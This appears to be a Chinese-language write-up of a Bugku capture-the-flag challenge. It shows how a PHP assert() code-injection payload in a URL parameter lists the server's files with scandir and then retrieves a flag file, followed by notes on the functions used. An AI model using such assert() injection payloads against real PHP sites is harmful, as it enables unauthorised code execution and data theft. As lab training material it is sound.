分析

bugku 过狗一句话

根据提示,分析得关键在于assert(),查资料得assert()用于调试,跟eval()差不多,但是eval()只能执行符合php编码规范的$code_str

解题

构造payload http://123.206.87.240:8010/?s=print_r(scandir(’./’));
得到目录结构
bugku 过狗一句话

再访问http://123.206.87.240:8010/fl4g.txt 即可

新姿势

1、assert()用于调试bug,和eval()差不多,可以执行任意命令

2、print_r()以更容易理解的方式打印变量(主要针对数组)

3、scandir() 函数返回指定目录中的文件和目录的数组

  • 语法:scandir(directory,sorting_order,context)

    • directory 指定要扫描的目录,必选
    • sorting 指定升降序,默认为升序,scandir($dir,1)为降序输出
    • context 规定目录句柄的环境

疑惑

为什么用dirsearch扫描,只扫描出了123.php、index.php、test.php?
求教
bugku 过狗一句话

相关文章: